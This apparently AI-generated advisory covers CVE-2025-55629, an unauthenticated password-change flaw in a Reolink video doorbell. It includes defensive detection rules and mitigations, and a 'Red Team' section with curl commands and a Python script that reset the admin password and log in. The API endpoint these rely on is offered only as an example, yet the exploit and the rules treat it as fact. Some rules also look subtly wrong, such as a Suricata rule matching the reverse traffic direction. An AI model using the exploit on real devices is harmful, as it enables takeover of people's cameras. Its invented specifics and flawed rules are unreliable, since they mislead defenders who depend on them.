CVE-2025-55629

Executive Summary

CVE-2025-55629 exposes a critical insecure permission vulnerability in the Reolink Smart 2K+ Plug-in Wi-Fi Video Doorbell with Chime, firmware version 3.0.0.4662_2503122283. The flaw allows an unauthenticated attacker to arbitrarily change other users' passwords by manipulating the userName value in API requests. This effectively bypasses authentication and authorization controls, granting full administrative access to the device. The vulnerability is currently unpatched, and no official fix has been released by Reolink. The attack vector is network-based, requires no privileges, and can be executed remotely, making it a high-severity threat for all affected devices.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in a proprietary IoT device.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0 in the NVD data, but based on the vulnerability description, a more accurate assessment is:

• Attack Vector (AV): Network (N) – exploitable remotely.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): None (N) – no user action required.
• Scope (S): Unchanged (U) – the vulnerable component is the device itself.
• Confidentiality (C): High (H) – full access to video feed and device settings.
• Integrity (I): High (H) – attacker can change passwords and device configuration.
• Availability (A): High (H) – attacker could lock out legitimate users.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Estimated Base Score: 9.8 (Critical)

Deep Dive & Mechanics

The vulnerability resides in the authentication and authorization logic of the Reolink doorbell's web API. The device fails to properly validate that the user making a password change request is authorized to modify the target account. By sending a crafted HTTP request to the password change endpoint with a manipulated userName parameter, an attacker can change the password of any registered user, including the administrator.

Root Cause: The API endpoint responsible for password changes does not verify that the session token or authentication credentials belong to the user specified in the userName field. This is a classic case of insecure direct object reference (IDOR) combined with improper access control.

Attack Flow:

1. The attacker identifies a target Reolink doorbell on the network (e.g., via Shodan or local network scanning).
2. The attacker sends a POST request to the device's password change endpoint (e.g., /api/change_password) with a JSON payload containing the target userName and a new password.
3. The device processes the request without verifying the attacker's identity, changing the password for the specified user.
4. The attacker then logs in with the new password, gaining full access to the device.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern.

Vulnerable Code (Conceptual):

@app.route('/api/change_password', methods=['POST'])
def change_password():
    data = request.get_json()
    username = data['userName']
    new_password = data['newPassword']
    # No authentication check - directly updates password
    update_user_password(username, new_password)
    return jsonify({'status': 'success'})

Patched Code (Conceptual):

@app.route('/api/change_password', methods=['POST'])
def change_password():
    data = request.get_json()
    # Authenticate the requesting user
    auth_user = authenticate_request(request)
    if not auth_user:
        return jsonify({'error': 'Unauthorized'}), 401
    username = data['userName']
    # Verify the requesting user is the same as the target user
    if auth_user.username != username:
        return jsonify({'error': 'Forbidden'}), 403
    new_password = data['newPassword']
    update_user_password(username, new_password)
    return jsonify({'status': 'success'})

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• Target: Reolink Smart 2K+ Doorbell with firmware v3.0.0.4662_2503122283
• Attacker: Kali Linux machine on the same network
• Tools: curl, Burp Suite, or custom Python script

Exploitation Steps:

1. Discover the device IP (e.g., 192.168.1.100).
2. Send a password change request:

curl -X POST http://192.168.1.100/api/change_password \
  -H "Content-Type: application/json" \
  -d '{"userName": "admin", "newPassword": "hacked123"}'

3. Log in with the new password:

curl -X POST http://192.168.1.100/api/login \
  -H "Content-Type: application/json" \
  -d '{"userName": "admin", "password": "hacked123"}'

4. Access the video feed and device settings.

Python Exploit Script:

import requests
import sys

def exploit(target_ip, target_user, new_password):
    url = f"http://{target_ip}/api/change_password"
    payload = {
        "userName": target_user,
        "newPassword": new_password
    }
    response = requests.post(url, json=payload)
    if response.status_code == 200:
        print(f"[+] Password changed for {target_user} to {new_password}")
    else:
        print(f"[-] Failed: {response.text}")

if __name__ == "__main__":
    if len(sys.argv) != 4:
        print("Usage: python exploit.py <target_ip> <username> <new_password>")
        sys.exit(1)
    exploit(sys.argv[1], sys.argv[2], sys.argv[3])

Blue Team (Defensive)

Detection:

• Monitor for unusual POST requests to /api/change_password from unknown IPs.
• Alert on multiple failed login attempts followed by a successful login from a new IP.
• Enable device logging and review for unauthorized configuration changes.

Mitigation:

• Isolate IoT devices on a separate VLAN with strict firewall rules.
• Disable remote access to the device's web interface if not required.
• Implement network segmentation to limit exposure.
• Monitor for known exploit patterns using the detection rules below.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /api/change_password with JSON payload containing userName and newPassword.
  • Successful login from an IP that previously sent a password change request.
  • Unusual outbound connections from the doorbell to unknown IPs (potential C2).
• Host:
  • New user accounts or modified passwords on the device.
  • Device logs showing password changes without prior authentication.
  • Unexpected changes to device configuration (e.g., Wi-Fi settings, notification recipients).
• File:
  • No specific file-based IOCs due to the nature of the vulnerability.

Detection Engineering

YARA Rule

rule CVE_2025_55629_Reolink_Password_Change {
    meta:
        description = "Detects exploitation attempts of CVE-2025-55629 in Reolink doorbells"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-55629"
    strings:
        $api_endpoint = "/api/change_password"
        $json_userName = "userName"
        $json_newPassword = "newPassword"
    condition:
        $api_endpoint and $json_userName and $json_newPassword
}

Sigma Rule

title: Reolink Doorbell Unauthorized Password Change Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests to the Reolink doorbell password change endpoint without proper authentication.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: reolink
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/change_password'
        cs-uri-query: '*userName*'
    condition: selection
falsepositives:
    - Legitimate password changes by authorized users
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-55629 Reolink Doorbell Unauthorized Password Change";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/api/change_password"; http_uri;
    content:"userName"; http_client_body;
    content:"newPassword"; http_client_body;
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
    reference:cve,2025-55629;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the device: Place the doorbell on a separate VLAN with no direct internet access.
2. Disable remote management: If possible, disable the web interface or restrict access to local network only.
3. Monitor logs: Enable and review device logs for unauthorized password changes.
4. Change default credentials: Ensure strong, unique passwords are used for all accounts.

Long-Term Fix:

• Vendor patch: Await an official firmware update from Reolink that implements proper authentication checks on the password change endpoint.
• Workaround: If patching is not possible, consider replacing the device with a more secure alternative.
• Network segmentation: Implement strict firewall rules to limit access to the device's management interface.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters.it.